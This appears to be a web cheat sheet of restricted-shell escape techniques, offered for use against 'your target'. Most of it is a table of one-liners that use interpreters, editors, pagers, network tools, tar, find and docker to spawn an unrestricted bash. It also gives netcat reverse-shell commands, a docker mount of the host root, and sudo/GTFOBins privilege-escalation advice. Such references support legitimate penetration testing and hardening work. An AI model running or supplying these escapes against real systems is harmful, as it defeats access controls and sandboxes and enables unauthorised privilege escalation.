Restricted Shell Escape Techniques: Quick Reference Table
A searchable table of escape commands for rbash, a chroot jail, or any login shell that blocks cd, PATH changes, or commands containing a slash — plus the handful of tricks worth more than a one-liner.
A restricted shell usually blocks a handful of things: changing directories, exporting PATH, running anything containing /, or redirecting output. These escapes work because many common binaries can spawn their own subshell once launched — and that subshell is not restricted.
Start here
echo $SHELL echo $PATH compgen -c type -a cd ls export
Quick reference
| Binary | Category | Escape command |
|---|---|---|
| python | interpreter | python -c 'import os; os.system("/bin/bash")' |
| python2 | interpreter | python2 -c 'import os; os.system("/bin/bash")' |
| python3 | interpreter | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| perl | interpreter | perl -e 'exec "/bin/bash";' |
| php | interpreter | php -r 'system("/bin/bash");' |
| ruby | interpreter | ruby -e 'exec "/bin/bash"' |
| lua | interpreter | lua -e 'os.execute("/bin/bash")' |
| awk | interpreter | awk 'BEGIN {system("/bin/bash")}' |
| node | interpreter | node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"})' |
| tclsh | interpreter | echo 'exec /bin/bash <@stdin >@stdout 2>@stderr' | tclsh |
| wish | interpreter | echo 'exec /bin/bash <@stdin >@stdout 2>@stderr' | wish |
| vim | editor | :!/bin/bash |
| vi | editor | :!/bin/bash |
| view | editor | :!/bin/bash (read-only mode doesn't block the shell escape) |
| ed | editor | !/bin/bash |
| ex | editor | !/bin/bash |
| nano | editor | Ctrl+R Ctrl+X, then: reset; sh 1>&0 2>&0 |
| pico | editor | Ctrl+R Ctrl+X, then: reset; sh 1>&0 2>&0 |
| less | pager | !/bin/bash |
| more | pager | !/bin/bash (not all builds support this) |
| man | pager | opens a pager, then: !/bin/bash |
| ssh | network | ssh -o ProxyCommand=';sh 0<&2 1>&2' x |
| telnet | network | Ctrl+], then at the telnet> prompt: !/bin/bash |
| ftp | network | !/bin/bash |
| sftp | network | !/bin/bash |
| scp | network | scp -S /bin/sh x y: |
| nc | network | nc -e /bin/bash 127.0.0.1 4444 (needs a listener: nc -lvp 4444) |
| socat | network | socat stdin exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane |
| nmap | network | echo 'os.execute("/bin/sh")' > /tmp/x.nse && nmap --script=/tmp/x.nse |
| find | system | find / -name whatever -exec /bin/bash \; -quit |
| git | system | git help status, then: !/bin/bash |
| tar | system | tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash |
| mysql | system | mysql -e '\! /bin/bash' |
| psql | system | at the psql prompt: \! /bin/bash |
| docker | system | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
| kubectl | system | kubectl exec -it <pod> -- /bin/sh |
| script | system | script -qc /bin/bash /dev/null |
| asciinema | system | asciinema rec /tmp/x.cast (spawns your shell; Ctrl+D stops recording) |
| expect | system | expect -c 'spawn /bin/bash; interact' |
No binary matches that filter.
Notes and caveats
moreandtelnetonly support a shell escape on some builds — BusyBox and some minimal images strip it out.nc -eneeds a build compiled with that flag (common on BSD netcat andncat, often disabled on Debian/Ubuntu's defaultnetcat-openbsd). If it's missing, use a named pipe instead:mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc 127.0.0.1 4444 > /tmp/f.dockerandkubectlonly work if you already have access to the daemon socket or the cluster — having the client binary on PATH isn't enough by itself.nmap's--scripttrick depends on NSE being installed; the older--interactivemode was removed in modern versions.- Treat every row as a starting point to test on your target, not a guarantee — shell availability, the PATH inside the subshell, and what's installed all vary.
Restoring a sane environment once you're out
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin export SHELL=/bin/bash /bin/bash -i
Before anything else, check sudo
Many "restricted shell" boxes are solved through allowed sudo commands rather than a shell escape at all:
sudo -l
If any listed binary appears on GTFOBins, that is usually the faster path, since it also hands you the privilege level of whichever user sudo allows.
Related: iptables: allow a port from specific IPs, iptables command not found, SSH -L forward: empty reply on localhost.
FAQ
What is a restricted shell?
A login shell such as rbash, or a custom shell set as a user's login shell, that blocks changing directories, exporting certain variables, or running commands containing a slash.
Why does launching an editor or interpreter bypass the restriction?
The restriction is enforced by the login shell itself. A program launched from inside it, such as an editor or interpreter, can start its own unrestricted subprocess, which the login shell has no control over.
Do all of these work out of the box?
No. Some depend on how the binary was built or what access you already have — a few builds strip out the shell-escape feature, nc's -e flag isn't always compiled in, and docker or kubectl need you to already have daemon or cluster access rather than just the client installed. Test each one against the target rather than assuming it will work.
What should I check first if none of these work?
Run sudo -l to see what you are allowed to run with elevated privileges, and check any allowed binaries against GTFOBins.